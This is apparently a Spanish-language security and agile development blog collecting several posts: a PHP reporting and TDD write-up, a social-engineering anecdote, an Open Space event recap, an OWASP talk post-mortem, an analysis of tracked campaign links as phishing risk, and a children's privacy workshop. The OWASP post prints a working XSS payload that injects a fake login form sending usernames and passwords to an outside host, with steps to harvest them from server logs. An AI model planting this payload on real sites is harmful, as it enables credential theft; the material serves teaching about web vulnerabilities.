El tag es... eso, un tag. Lo que ocurre es que sabemos que Áreas van a haber y que Provincias hay, pero más importante es que sabemos que nos interesan las Áreas y las Provincias. Otras categorías como Plataforma (windows, linux, mac) van apareciendo, pero no son tan interesantes como para convertirse en entidades. Para no estar cambiando el modelo correteando tras los caprichitos de las necesidades del negocio, existen los Grupos de Tags (Plataforma) con sus tags (windows, linux, mac). Tambien podría ser grupo BBDD con mysql, postqresql, mssql, oracle.

Hasta ahi vamos bárbaro, la operatoria como seda, hasta que vamos a generar reportes.

Quiero estadísticas de Ocurrencias de Eventos por Área, por Provincia, por Área y Provincia y para el otro lado. Ah, y las quiero por Plataformas, Color y Sabor.

Lo primero que uno hace es entonces cada combinación y el sistema nunca está terminado.

No me da la cabeza ni conozco tanto de reporting y encima no puedo estar incorporando módulos extra.

Tuve entonces una serie de ideas reveladoras:

Aunque es más sencillo hacer el reporte según una dimensión tipo entidad como Área o  Empresa que la de Grupo de Tags, está última luego es más reutilizable

El anidamiento es más fácil con los Grupos que con las entidades.

Si a esto le sumamos que la interfaz de selección de dimensiones es generable automáticamente a partir de los Grupos, todo indicaría que en términos de reporte estadístico fue un error no poner toda la información en Tags y Grupos. De todos modos, las entidades son más fáciles de manejar en términos de nulidad y cardinalidad. Si no me entendiste, pensá en como implementar un ABM de Provincias donde estas estan representadas mediante Tags y Grupos de Tags en comparación con app/console.php doctrine:generate:crud (en symfony o equivalente en tu framework habitual).

Habiendo decidido mantener esta suerte de modelo dual, procedí a implementar el reporte, primero con una dimensión, luego dos y finalmente tres.

El algoritmo consiste en iterar sobre todas las Ocurrencias de una fecha e ir acumulando en una estructura tipo árbol, que expresa a recursividad del problema.

Aquí se puede apreciar parte del código de testeo en php:

private function buildExpectedAreas($t1,$t2,$t3,$t4) {
    return array(
        'total'=>$t1,
        'agrupacion'=>array(
            'areas' => array(
                'entidades'=>array(
                    'contable'=> array(
                        'total'=>$t2,
                        'agrupacion'=>array()
                    ),
                    'rrhh'=> array(
                        'total'=>$t3,
                        'agrupacion'=>array()
                    ),
                    'logistica'=>array(
                        'total'=>$t4,
                        'agrupacion'=>array()
                    ),
                )
            )
        )
    );
}

Para una consulta de dos dimensiones, por ejemplo Areas y Plataformas, reemplazá cada una de las tres lineas que dice 'agrupacion'=>array() por

'agrupacion'=>array(
    'plataformas' => array(
        'entidades'=>array(
            'windows'=> array(
                'total'=>$$$,
                'agrupacion'=>array()
            ),
            'unix'=> array(
                'total'=>$$$,
                'agrupacion'=>array()
            ),
            'mainframe'=>array(
                'total'=>$$$,
                'agrupacion'=>array()
            ),
        )
    )
);

Si quisieras una tercera dimensión hay que repetir con la nueva agrupación nueve veces.

Primero implementé el reporte para una y dos dimensiones sobre Grupos.

Ahora bien, ¿qué hacer con Área y Provincia, que ya existen como entidades?

Mi primera idea fue transformarlas en Grupos con sus Tags en el modelo, pero por algo las queríamos como entidades, va a pegar fuerte en la interfaz y en las validaciones, como por ejemplo que Provincia sólo puede haber una y Áreas varias asociadas a un mismo Evento.

La segunda fue, en el momento de generar el reporte, inicio una transacción y genero los Grupos y Tags a partir de Área y Provincias. Tras el reporte va un rollback y no pasó nada.

Al final opté por una variación de la segunda: a cada Evento que el ORM me ha traido, le agrego los Tags necesarios tras haber creado los Grupos necesarios, sin persistir luego.

Problemas de performance no hay, ya que la generación de reportes es de baja frecuencia y concurrencia.

TDD acompañó todo el proceso, aunque no soy muy ortodoxo, sobre todo con el Timely de FIRST[1], Por lo general codeo primero y cuando alcanza una masa crítica hago los test y recién ahí entro en el ciclo test->fail->code->pass->refactor.

Asi que escribí unas pocas lineas y enganché con TDD. Con el siguiente awk se puede obtener las lineas que tenían en cada commit los archivos de código y test. Los AJUSTES se deben a que estas clases ya existían. CORTE es el primer commit. git lola es git log --graph --decorate --pretty=oneline --abbrev-commit --all

#!/bin/bash
CORTE=42ed122
ARCHIVO1=Lib/Codigo.php
ARCHIVO2=Tests/Lib/CodigoTest.php

git lola | cut -b 3-9 | awk -e '
    BEGIN {
       ARCHIVO1="'$ARCHIVO1'"
       ARCHIVO2="'$ARCHIVO2'"
       AJUSTE_CODIGO=346
       AJUSTE_TEST=368
       set +o posix
     }
    /.*/ {
            cmd1 ="git show "$0":"ARCHIVO1" | wc -l "
            cmd2 ="git show "$0":"ARCHIVO2" | wc -l "

            command cmd1  | getline LINEAS_CODIGO
            command cmd2  | getline LINEAS_TEST
         
            LINEAS_CODIGO -= AJUSTE_CODIGO
            LINEAS_TEST -= AJUSTE_TEST
            print LINEAS_CODIGO "\t" LINEAS_TEST          
    }
    /.*'$CORTE'.*/ {
            exit 0;
    }
'

La salida de esto va a tu hoja de cálculo favorita y se vé así:

Finalmente, apareció un requisito nuevo que me produjo un momento de iluminación y me llevó a la solución definitiva.

El requisito tiene que ver con algo que no había mencionado antes, que es el factor multiplicativo. Si un Evento tiene múltiples Empresas, Provincias o Plataformas, las Ocurrencias deben multiplicarse, por ejemplo:

Evento: detección de ataque xss
Áreas: contabilidad
Provicia: Tucumán
Plataformas: mac, windows, linux

En este caso cada Ocurrencia del Evento vale por tres. Si no te cierra bien por qué contabilidad tiene xss en Tucumán no te preocupes, tiene que ver con el enmascaramiento.

El requisito consiste en que si AHORA hago la estadística de Enero, me tiene que dar lo mismo que me dió en ENERO. Si mientras han cambiado las relaciones de "detección de ataque xss", como que en Área se agregue RRHH, la cuenta me daría 6 en Enero. Hay entonces que desnormalizar y en el momento en que se crea la Ocurrencia calcular los factores y guardarlos dentro de la Ocurrencia.

Cuando lo implemente, probablemente tire buena parte del código, pero los test me quedan aprovechables al cien por ciento. Sólo hay que agregar unos pocos que creen unos datos y calculen la estadística para ese momento. Luego, avacen en el tiempo, modifiquen algunas relaciones y vuelvan a calcular para ese momento y los resultados deberán ser los mismos.


Mi conclusión de esta experiencia es que de no haber contado con los tests no habría podido implementar nada, pues la verdad es que la complejidad del código resultante es un poco más grande que lo que mi mente puede abarcar a la vez. Además, ante ese nuevo requisito, no pierdo tanto trabajo pues la inversión está tanto en el código que pueda perder como en los tests que conservaré.



[1] FIRST:
F fast
I independient
R repeatable
S self
T timely

El depredador débil

En la árida intersección entre seguridad informática, desarrollo y agile, esta entrada tiene su on-topic por seguridad y un poquito por las partes blandas de agile. El tema es "ingeniería social", que es básicamente "the art of human hacking".

A raiz de unas actividades laborales de capacitación que me hicieron moverme por lugares distintos a los que concurro habitualmente, tuve que pasar cuatro días seguidos por una misma esquina. Aunque la caridad no es lo mío, soy levemente solidario, así que cuando veo un ciego por la calle, más en una esquina, presto atención a brindarle alguna colaboración.

El muchacho que ví en esta ocasión, cuya ceguera no pondré en tela de juicio, estaba en posición de cruzar la calle cuando reparé en él, a una veintena de metros. Sin embargo, como que estaba a unos treinta centímetros de mi "lugar de activación", me desvié un poco y lo olvidé.

El día siguiente, a la misma hora, estaba en el mismo lugar, pero agachado revolviendo algo en su mochila. Crucé como antes pero ya me había llamado la atención, así que cada pocos metros lo miré mientras me alejaba. Se incorporó y al poco, aparentemente una persona le ofreció cruzar, no tengo el audio. Cuando volví a mirar no estaban cruzando y la persona estaba urgando en su bolso.

Al día siguiente, aminoré la marcha todo lo que pude y puede presenciar toda la operación. Se acercó una persona a ayudarle y terminó comprando unos pañuelitos.

Brillante.

Ahora podría poner "Dick Wolf" y dejar de escribir, pero a veces me queda la duda acerca de quien ganó el juicio y no quiero que te quedés con esa sensación.


Estaba asistiendo a como este muy hábil depredador, saca el máximo provecho de su extrema debilidad, probablemente sin siquiera humillarse. No es una persona vendiendo algo o pidiendo limosna, es una persona tendiendo una hábil trampa.


En cierto modo, a una escala moral totalmente diferente, se parece a la estafa nigeriana[1]. ¿Sabés por qué dice Nigeria? Por que cualquier persona con dos dedos de frente se da cuenta de que es una estafa. Está dirigida a personas ambiciosas que tienen menos de dos dedos de frente.

En este caso la "victima" ya está condenada por ser solidaria, pues se ha acercado a ayudar. "¿Le ayudo a cruzar? No, gracias, pero podría ayudarme comprándome unos pañuelitos". Pum, directo, no hay defensa. Lo mandás a cagar o le comprás los pañuelitos. Me atrevería a afirmar que incluso si tenés más de dos dedos de frente, como la inmensa mayoría de la población tiene, es más probable que ni siquiera te des cuenta de que caiste en una trampa.


Me encantaría ir a preguntarle si se le ocurrió a él solito o es una técnica que alguien le pasó. De ser el segundo caso, supongo que en poco tiempo se verá (pun intended) aplicada con más frecuencia.

El objetivo de esta entrada no es condenar a ese ciego, todo lo contrario, lo considero un genio. Si alguien lo ha visto tambien, por favor no ponga en los comentarios dónde. El objetivo es mostrar como pueden ser manipulados los más nobles mecanismos sociales para extraer algún provecho. Está en vos mirar a tu alrededor y ver como alguien puede aprovecharse de tu profesionalidad o del resto.

Sea trampa o no, sea ciego o no, no me interesa revelarlo. Para criminales sobran los que se aprovechan no sólo de los que están un poco mejor sino de los que están peor y que lo hacen sobre millones de víctimas.


[1] http://www.informit.com/articles/article.aspx?p=25269

AOS BsAs 2014

Quinta vez. Recuerdo cuando propuse esta actividad hace ya tanto, tirando la idea como para que la haga otro y como me he tenido que hacer cargo, jaja.

Si algo han tenido en común estos eventos es la magra concurrencia. De todos modos, siempre han sido satisfactorios, aunque está vez como que ha alcanzado una densidad mayor, es que nunca hemos sido menos y el nivel de elaboración fue el habitual o superior.

Como en las otras ocasiones, hay mucha gente "nueva", es su primer Open Space y tuve que aclarar que mi rol había sido el de generar las condiciones, en el momento es que estamos acá el evento es de todos los presentes.

Esto nos lleva a algo que es un poco ingrato, que es que si el evento sale mal es culpa de los que lo organizan, pero si sale bien, es de todos los que participaron. Puede ser feo, pero es real y estoy de acuerdo.

Para remediar esta injusticia, es importante participar de la organización, tan poco como difundir, tanto como conseguir el lugar. Tan no funcional como conseguir comida. Convencer a alguien que sepa bien de algo particular asistir. Conseguir el "apoyo institucional", que aún no sé bien para que sirve pero igual intento.

Estoy cada vez más convencido de reducir al mínimo las necesidades para reducir al mínimo los sponsors. He escuchado en algún evento de seguridad frases parecidas a "esto le cae mal a los sponsors" frente a una persona que había sido agredida por otros integrantes del evento y reaccionó dando dos charlas, la que tenía pensada precedida de la denuncia de lo que había ocurrido. Lo paradójico es que esa primera charla mientras que por un lado provocó que dos o tres personas se levantaran y se fueran y el centenar restante aplaudiera hasta sangrar, supongo que nunca volverá a ser invitada.

Aparte, pienso que la relación con los sponsors es una importante fuerza burocratizante, pero es tema de otra entrada.

A fines prácticos, en esta ocasión como en la anterior, se ha prescindido de la lista de inscripción y al terminar ofrecí que me dieran los mails para pasar los grupos (foro agiles, agiles argentina y seguridad agile), diciendo que el sponsor estaba enfrente de ellos, SVC, y era quien había traido el tentempié.

Con respecto a la ejecución casi ni respetamos el formato Open Space. Usamos una hora de las tres disponibles jugando a Capture the Datacenter. Yo aprovechaba para tirar conceptos de SegInf cada vez que era oportuno.

Luego, hicimos el "marketplace" (no me gusta ese nombre pero es otra entrada) con una innovación. Supongo que a todos nos es familiar la sensación de desesperación cada vez que casi todas las propuestas son interesantes, ya que un multitrack provoca exclusión de temas. En esta oportunidad nos quedamos con el pan y con la torta. Implementamos una suerte de "early drop".

Recuerdo que una de las propuestas, Quiero saber de seguridad SIP, la pudimos descartar de una, ya que bastó con preguntar si alguien podía explicar algo y nadie había.


Con la otra, Conseguir trabajo en SegInf Freelance, nos pusimos a discutir y finalmente fue de hecho el unitrack cero de cinco minutos de duración. En cierto modo resultó ser síntoma de la falta de madurez en el formato de Open Space nuestra, de no poder respetar que estabamos eligiendo sin debatir. No insistí mucho pues me pone en una situación incómoda y en última instancia, hago esto para divertirme. De haber hecho los mismo con las demás propuestas el resultado hubiese sido desastroso, pero así como fué pienso que fué la situación óptima, el tema fue resuelto y no ocupó innecesariamente una sesión.

A raiz de ello, me parece que habría que generar un nuevo formato, el Lightning Chat, cuyas características serían ser la brevedad y el potencial interés para todos los participantes del evento, como una Lightning Talk, pero con debate.

Las propuestas restantes, fueron algo así como:

Programación reactiva
Tratamiento seguro de I/O
¿Hay lenguajes más seguros que otros?

¿Qué es Scrum?
Heartbleed, descripción e impacto en Open Source

Retomando la desesperación de perderse algo y aprovechando que éramos pocos, resolvimos hacer unitrack y juntar los tres primeros en la primera sesión y luego ver si llegabamos a ver los otros dos luego, poniendo heartbleed de último pues nos parecía menos interesante. No llegamos a verlo.

Al final, recapitulando sobre el evento en si y los anteriores, llegamos a dos ideas importantes:

• Hubiésemos necesitado un poco más de tiempo.
• Es importante que haya una mayor frecuencia, tres o cuatro veces al año.

Quedó implícito que sería importante que asistiera más gente, pero yo tuve mis dudas, pues tendríamos quizás que haber hecho el Open Space ortodoxo (si es que tal cosa existe). Pero mientras escribo recuerdo una sesión de treinta o cuarenta usando la pecera en el bar de exactas hace como cinco años y quizás mis dudas no tengan asidero.

Con respecto a la mayor frecuencia, estamos pensando en repetir, aprovechar el Agiles Argentina o ver de hacer meetups en el mismo lugar o SVC.

El error ajeno

Si hay una frase muy del mundo agile que me gusta es "hay que aprender del error". Más me gusta extenderla: "y si es del ajeno, mejor".

Otra vez el error ha sido mio, pero para vos es ajeno, así que sentate, embebete de error y llevate el botín.



En esta ocasión, en el marco del OWASP Latam Tour 2014[1] como primer bocadillo tenía que mostrar un par de vulnerabilidades de aplicaciones web compatibles con el Top Ten de OWASP[2]. Esta era mi planificación:

• Hacer una evaluación de los asistentes (dev, sec, dev/sec), útil tambien para las charlas posteriores.
• Mostrar XSS
• Mostrar un error de configuración de apache
• Mostrar un ataque combinando ambos
• Mostrar otras vulnerabilidades según el tiempo restante
• Invitar al Agile Open Seguridad BsAs 2014

Todo regado de abundantes referencias al Top Ten.

Para que sea más divertido y no suene como compensación y como no todo es fracaso en la vida, voy a empezar por los aciertos y luego pasaré a los errores:

• Aprovechando que era el primero, probar que todo lo que me había propuesto, que no incluye lo que mi hizo fallar, estuviera listo.
• Los tabs estaban nombrados.
• Tenía mi checklist.
• Tenía la demo lista dos semanas antes
• Practiqué la demo.
• Cuando llegó la falla, aunque me embargó una sensación de newbie, de ser un completo disminuido, que nunca me iban a invitar a exponer a ningún lado otra vez (que bien puede ser posible), que pasaría a ser un paria de la seguridad informática y el desarrollo agile, ni siquiera sudé. Me puse en modo despliegue en producción, esto me importa media mierda, si sale mal retrocedo y voy por otro camino, me tragué las lágrimas y seguí adelante.

¡Basta de suspenso! ¿Cúal fue el error??

No fué un error, sino varios, en orden creciente:

Primer error

Para estas actividades tengo una (la) netbook, que cada tanto al apretar el teclado de cierto modo tiene una falla de hard y el kernel se deshace la comunicación con el humano. Puedo sacar la batería o entrar por ssh a reiniciar. Esto no me puede ocurrir y por eso llevo un teclado y mouse. El problema es que esta ocasión, para aligerar la mochila llevé el genius mas cortito y liviano con layout XXXX en lugar del apple pesado con el layout YYYY correspondiente a la netbook. Puede parecer una pelotudez, pero eso provocó que en el momento de crisis, tuviera dificultades en hallar los caracteres especiales, aumentando mi confusión y perdiendo tiempo.

Segundo error

Normalmente me hago una checklist que voy tachando durante el transcurso de la charla. Esta charla de tres o cuatro ejemplos está basada en una actividad de ocho. La checklist que tenía incluía la checklist que realmente iba a hacer.

Tercer error

No me di cuenta que veinticinco minutos no es la mitad de cincuenta, es mucho menos. Un curso de varias horas puede estar plagado de pequeños errores que se pueden resolver en el momento o incluso se pueden aprovechar para mejorar la explicación. Cuanto más corto el tiempo, más importante es que no falle nada.

Último error, o sea, el primero, pues es una lista creciente

Una y otra vez he visto demos que fallan, ocurre siempre, es muy triste pero es normal. Una demo es algo mucho más vivo que pasar slides o videos e ir hablando encima. Es la diferencia entre el cine y el teatro.

En una de esas tantas demos que fallaron, vi un recurso muy sencillo, que es combinar el teatro con el cine y consiste en tener la parte crítica de la demo ya grabada. Es menos creible, pero llegado el caso te salva.

Las demos que hago suelen ser muy retorcidas. La de TDSD por ejemplo, la terminé de entender recien la cuarta vez al exponerla en Agiles 2011[3]. Aún así le pedí a un asistente conocido, Sergio G., que me ayudara a mantener el rumbo. Esta demo es una versión simplificada, fácilmente grabable.

Una aclaración: yo llamo demo a lo que hice, pero para mí el espíritu real de una demo es un 0day, BEAST, CRIME, algo donde el objetivo es mostrar un descubrimiento, un invento, algo cualitativo. Mi exposición es meramente educativa, daba lo mismo XSS, CSRF o SQLi, no había nada nuevo, quizás para algún asistente era nueva la idea de combinar XSS y el log de apache, pero no para la comunidad.



Resta preguntar por qué no grabé. Muy sencillo, por el mismo motivo que no se aplica seguridad en los proyectos: economía. Estaba (estoy) bajo una sobrecarga de actividad y tengo que priorizar, a veces mal.

La falla

Cuando iba a combinar el ataque de XSS con la falla de configuración de apache, no pude encontrar el ataque en javascript. Así de fácil. Me perdí en la checklist, me perdí en los branches de git, no tenía tiempo para reescribirlo. Fue tan abrumador que durante medio minuto ni pude ocultar mi desesperación. Al final escribí en la url el resultado del ataque. Luego alguien hizo un comentario largo, tuve tiempo de volver para atras y lo encontré pero ya no tenía tiempo y ahí vino...

La yapa

Puse el código en pantalla y expliqué que hubiera hecho. Me hubiese llevado el mismo tiempo hacer el ataque y no estaríamos aquí. Lo peor, es que la ruta del ataque en el sistema de archivos estaba claramente escrita en mi checklist y no la pude ver hasta que era tarde.

La conclusión

Si hubiera hecho bien la checklist, si hubiera grabado la demo, habría pasado menos vergüenza y en el mundo del que gana y pierde hubiese ganado. Pero no hubiese escrito esta entrada y todos ustedes que asistieron a la charla no estarían gananado esto, volvemos otra vez a que el error enriquece, mucho mejor el error ajeno.



Muy interesante todo, muy poético, muy sensible, igual lo que nos importa es ese código que nos mostraste pero no vimos en acción y querríamos probar en casa.

Ok, ok, acá esta


<script>
  $("body").append($("<style/>", {text : '#login { background-color:#FFFFFF; border:1px solid #999999; margin-top: 15px; position:absolute; text-align:left; width:394px; z-index:50; padding: 25px 25px 20px; } '}));
  var html= '<div id="login"> Para seguir operando, reingrese sus credenciales: <form method="get" id="trampa" action="http://good.com/image.png"> <p>Usuario:<input type="text" name="usuario" /></p> <p>Clave<input type="password" name="clave"  /></p> <p><input type="submit" value="Reingresar"/></p> </form> </div>';
  $("body").append(html);
</script>


Repasemos, primero el login.

Luego enviamos el mensaje, cualquier cosa en este caso pues hay validación client side de 50 caracteres.

Acá podemos ver el log

Con tamper data modificamos el mensaje

Aparece el falso login

Y finalmente las credenciales en el log

Para armar la demo, es importante tener sólo XSS en el sitio, pues ese texto rompe un sitio con SQLi por las comillas simples.


Si se está usando un post para poner el XSS, ojo al tamaño máximo en la validación client side. Si el campo en la tabla tiene un tamaño máximo insuficiente, puede fallar.

Para evitar todo esto, se puede hacer con XSS reflejado y el sitio modelo se reduce a tirar un mensaje de error no sanitizado.

Hace falta que el sitio modelo atacado tenga jquery.

Cualquier duda, a tu disposición.

[1] https://www.owasp.org/index.php/LatamTour2014#tab=ARGENTINA
[2] https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
[3] http://seguridad-agile.blogspot.com/2011/10/agiles-2011-dia-1.html

Los tres clicks

Uno de estos días recibí una invitación para una charla del tema de agiles. Lo que me llamó la atención es que todos los links de incripción, contacto y reenviar a un amigo eran a una dirección con esta forma:

http://t.ymlp286.net/XXXXXXXXXXXXXXXXXXXXX/click.php

donde XXXXX son secuencias de letras sin sentido, ya volveremos sobre esas letras sin sentido.

Como la charla me interesaba, busqué por otro lado el sitio de la institución que la dictaba y logré encontrar las referencias a la charla y el sistema de inscripción.

El problema al haber utilizado este sistema de campañas, es que pudo haberlo hecho cualquiera ajeno a la institución, con el objetivo de obtener direcciones calificadas para spam, información sensible utilizable en phishing o incluso, con un poco de atrevimiento, información de tarjeta de crédito.

Las letras sin sentido

Esas secuencias de letras sin sentido sirven como identificador ante un sitio web. Si se ha enviado a cada dirección una secuencia distinta, al hacer uno el primer click está revelando desde que dirección de mail se accede, dándole al atacante esta información:

• el mail es válido
• una persona lo lee
• a esa persona le interesa el tema
• esa persona no mira donde hace click

La implementación es sencilla: se crea una regla que redirija internamente todo lo que termine en click.php a un click.php real.

http://t.ymlp286.net/sdfkenskf/click.php -> http://t.ymlp286.net/click.php

Lo interesante es que click.php se fija cual fue la url con la que fué invocado y obtiene las letras sin sentido, que busca en la base de datos:

    Id         mail               hizo click?
    sdfkenskf  victima1@email.com no
    ekdkrkesr  victima2@email.com no

Ahora sabe que hizo click

    Id         mail               hizo click?
    sdfkenskf  victima1@email.com si
    ekdkrkesr  victima2@email.com no

Este método de rastrear direcciones de mail no necesariamente corresponde a un ataque, es simplemente una valorización de una base de datos de contactos, de la cual alguien sacará provecho así que siempre es, de un modo u otro, un ataque, lo siento, me estaba contradiciendo. No olvides que si no lo estás pagando, entonces vos sos el producto[1].

Si esa persona además hace el segundo click y procede a inscribirse, revela la siguiente información:

• quizás otro mail
• nombre y apellido
• dni
• telefono(s)
• empresa
• actividad
• ¿estaría interesado en la oferta que no podrá rechazar con respecto a una actividad arancelada?

El atacante toma nota de esta información y haciéndose pasar por la víctima, se inscribe en el sistema real, con lo cual ni la víctima ni la entidad organizadora nota nada extraño.

Si la persona además hace el tercer click, "estaría interesado en la oferta que no podrá rechazar con respecto a una actividad arancelada", a la brevedad es contactada por una promotora telefónicamente o recibe de una dirección de mail con aspecto profesional una oferta especial para pagar utilizando su tarjeta de crédito... ¿sigo?

El costo del ataque es:

• buscar un evento y en unas pocas horas armar un sitio y configurar el servicio con una estética acorde
• obtener una lista de personas potencialmente interesadas
• estar atento un tiempo esperando a que caigan las víctimas
• sacar el dinero del sistema bancario antes que lleguen los reclamos de los estafados a la institución, que es otro tema que no corresponde a este blog

Cuando hace pocos dias un muchacho alertó sobre la vulnerabilidad de movistar, se armó una cierta polémica acerca de la "revelación responsable", o sea, si avisar a todo el mundo que existe el problema alertando tambien a potenciales atacantes o ser más discreto y avisar sólo al responsable y darle tiempo a corregir.

En el caso de movistar, la difusión provocó que durante un día se pudiera invadir la privacidad de los clientes de movistar y tambien que se resolviera en un día. La persona que difundió asumió que ya había informado, pero dado su desconocimiento y falta de criterio en como informar, de hecho no informó. Como que torpe pero buen intencionado. Lamentablemente, difundió la noticia en una lista de seguridad y nadie, incluyéndome, tuvo el acierto de señalarle su error antes de que se difundiera a los medios.

Volviendo a este caso, yo no puedo saber si es un ataque o no, así que consulté a la organización. Tenía el problema de la prisa, pues si no me contestaban con celeridad, me vería obligado a avisar a las personas que pudieran haber recibido el mail antes de que fueran víctimas. En ese caso hubiese corrido el riesgo de que no fuera un ataque y me restara credibilidad para futuros anuncios.

Afortunadamente, la respuesta llegó a tiempó, no era un ataque, guarden las pistolas, circulen.

Desde el punto de vista institucional, me parece una mala práctica utilizar estos servicios contando con infraestructura propia. Obviamente, la elección está dictada por factores económicos, es mucho más barato si no gratuito usarlas, frente al costo administrativo de utilizar un sistema propio.

En última instancia, lo veo como una transferencia del riesgo a nosotros y se nos educa en que este es un comportamiento válido y normal, abonándose el terreno para futuras estafas. Fijate que en el escenario de ataque que presenté, la institución no resulta damnificada.

-¿Por qué no me acreditaron el pago de XXX?

-Por que nada hemos recibido

-¿Cómo, si yo pagué por este medio/me contacté con tal/me habló tal?

-No fuimos nosotros (mientras se escucha de fondo entre risas: "hay gente que es tarada, no?")

-¿Y cómo puedo saber a quién le estoy pagando?"

Ahí es cuando la imagen se congela y aparece el vende humo.

-Para estar protegido, es fundamental plin, plin, plin, pague aquí.

Defensa Personal Informática

Las soluciones técnicas sólo pueden ser implementadas por quienes proveen los servicios y con un costo, lo cual ya nos sugiere que tanto pueden ocurrir.

No hay ninguna garantía, pero si sabemos, disminuimos las probabilidades de caer en un ataque directo, si comprendemos como se difunde nuestra información y como escapa a nuestro control, quizás si podamos controlar que no se difunda, al menos voluntariamente.

Este blog en general esta impregnado con esa tematica. En particular he escrito acerca de privacidad [2][3][4][5], de diversos leaks[6][7] y estoy experimentando con escolares[8][9], de explicarles como funciona Internet sin decirles que hacer y que no hacer, pero no sé si servirá de algo, no tengo con qué medir.

En última instancia, lo único que nos defiende es nuestro buen criterio y experiencia, pero el primer click ya lo hicimos.

[1] http://www.forbes.com/sites/marketshare/2012/03/05/if-youre-not-paying-for-it-you-become-the-product/
[2] http://seguridad-agile.blogspot.com/2014/02/medidas-contra-el-anonimato.html
[3] http://seguridad-agile.blogspot.com/2014/02/medidas-contra-el-anonimato.html
[4] http://seguridad-agile.blogspot.com/2014/02/proveyendo-anonimato.html
[5] http://seguridad-agile.blogspot.com/2012/07/privacidad-y-buenas-intenciones.html
[6] http://seguridad-agile.blogspot.com/2013/11/leak-adobe.html
[7] http://seguridad-agile.blogspot.com/2013/05/leak-mortal.html
[8] http://seguridad-agile.blogspot.com/2012/11/privacidad-en-internet-para-escolares.html
[9] http://seguridad-agile.blogspot.com/2014/04/privacidad-en-internet-para-escolares_22.html

Privacidad en Internet para escolares Parte 2

Tras mucho tramitar, este año pude repetir la experiencia [1] de hace dos años. El año pasado no fue propicio, ya que ofrecí esta actividad en la escuela y en uno de los clubes sociales y deportivos de mi barrio, sin que les interesara.

Relación con los niños

En esta ocasión no cometí el error inicial de intentar adoctrinar a los niños. Les dije "hola, no vengo a decirles que hacer ni que no hacer, sólo les voy a mostrar como funcionan las cosas y confío en que ustedes deducirán por si mismos lo que hacer". A esa actitud ya había llegado la vez anterior, pero tras transitar el error.

En algún grado dije "como ustedes no me han convocado, no tienen ninguna obligación de escucharme, pero les agradecería que no hagan algo que interfiera, si quieren echarse una siesta, por mi está ok", pero son muy chicos como para entender bien, no sirvió.

Logística

Solicité hacer primero séptimo y por último quinto, separando los grados pues ya sabía que habiendo tantos la dispersión es mayor. Quería séptimo primero pues es más fácil, como para seguir una linea de dificultad creciente.

Por supuesto que me dieron primero a quinto y último a séptimo y los grados juntos. No dije nada y acepté el desafío, pues de últimas mi objetivo es aprender.

Cuando llegué a séptimo me rendí y los di por separado.

Relación con las maestras

En una de las charlas, no voy a decir cual grado, el personal docente, no voy a decir ni género ni número tampoco, se la pasó charlando durante todo el tiempo. Esto no era un buen ejemplo para los alumnos ni tampoco ayudaba pues se les oía, interfiriendo con la actividad. Cuando al final sutilmente les señalé el hecho mostraron un gran asombro, pues no se habian dado cuenta y me preguntaron por qué yo no había reclamado, a lo que les dije que ya eran personas adultas...

Una docente les pidió luego que respondieran unas preguntas y tuvo la gentileza de enviármelas, algunas respuestas están más abajo.

Las actividades

En quinto y sexto mostré la diferencia entre información y objetos tangibles haciendo circular un teléfono y recuperándolo, contrastando luego con contarles un secreto y pedirles infructuosamente que me lo devolvieran.

Luego, presenté un nuevo juego, que con unas soguitas y tarjetas representan la circulación de mensajes en Internet. Lo llamo el Juego de las Sogas.

La primera vez que lo hice fué hace meses frente a un auditorio de adultos y fue bastante bien, de los siete participantes sólo uno no entendió, pero era abogado, mala suerte.

Con los niños no puedo saber la proporción de éxito, pero parece respetar una similar.

Este juego está acompañado de un dibujo, el típico del navegador, la nube que representa Internet y el servidor. Tras mostrar tanto en el dibujo como en el juego la circulación de información, les mostré como se almacena en tablas y expliqué el borrado lógico de mensajes en un foro. O sea, que no se puede estar seguro de que se haya realmente borrado. También que puede haber quedado en un backup.

Lo que me gusta de esta parte es que les dibujo tablas (si, tablas de base de datos) y les muestro como el sistema valida la identidad por usuario y clave obteniendo el id de usuario que luego se usa en la tabla de mensajes y parecen entender, me van diciendo los valores que representan un intercambio de mensajes.

Otra que tambien me gusta es la cara que ponen cuando les expliqué el origen militar de Internet, de como la red de comunicación sobrevive a la destrucción de un nodo. "¿Cómo se destruye?", preguntan, "con una bomba, claro, una bomba atómica en una ciudad", les respondí.

En séptimo sólo hice el juego, pues como hace dos años cuando estaban en quinto ya nos habíamos encontrado, no quería repetir. A cambio, hice el juego completo, donde los mensajes circulan dentro de un sobre y no se pueden mientras viajan, representando HTTPS.

Este juego tambien lo había presentado en AOE BsAs 2014, pero me equivoqué en como elegir la sesión y en lugar de integrarme a otra sesión de experiencias de juegos la hice sólo, pues temía que al ser un juego largo hubiera algún problema con el resto. Obviamente vinieron dos personas y se los mostré sin poder aprovechar bien el juego.

En estos días lo presentaré tambien en el Flisol 2014[2].

Uno de estos días, agregaré la entrada del Juego de las Sogas con todos los detalles [3].

Algunas comentarios seleccionados, respetando las faltas ortográficas

• "Esperaba que charle un poco más de el tema de las contraseñas y de 'HTTP y HTTPS'"
• "El tema fue como se conectan la información, como llega una información determinada a un destinatario, asegurado o no."
• "Aprendí que no es tan fácil como yo pensaba las conexiones, sino que lleva un proceso y a veces no funciona"
• "Aprendí que Internet tiene caminos diferentes para enviar lo que fura"
• "Aprendí que la red se puede caer pero puede tomar otros camino u alternativas para llegar al destino"
• "Aprendí que cuando hay un mensage muy largo se parte en distintos mensages hasta llegar a su receptor. Que no nos combiene poner 2 contraseñas iguales para 2 redes sociales. Que cuando se corta una conexión, no pasa nada, hay más caminos"

La más lúcida:

• "Que hay algunas páginas que usan http y otras usan https (seguridad), que no hay que poner 2 contraseñas iguales en sitios diferentes y que las contraseñas no tienen que ser simples"

 La más pintoresca:

• "Esperaba que nos hable del wifi o nisiquiera jugar"

¿Qué dijo? Como que empezó a escribir algo y se comió el medio del pensamiento.


Es atroz la diferencia en prolijidad y comprensión entre géneros, los varones parecen... no voy a decir nada, quizás alguno lea esto y no querría traumarlos, jaja. De las cerca de veinte cartas, ocho se destacaban por lucidez y prolijidad, de las cuales siete eran de nenas. En la participación durante la charla fue más parejo.

Referencias

[1] http://seguridad-agile.blogspot.com/2012/11/privacidad-en-internet-para-escolares.html
[2] http://flisolcaba.usla.org.ar/
[3] uno de estos días dije.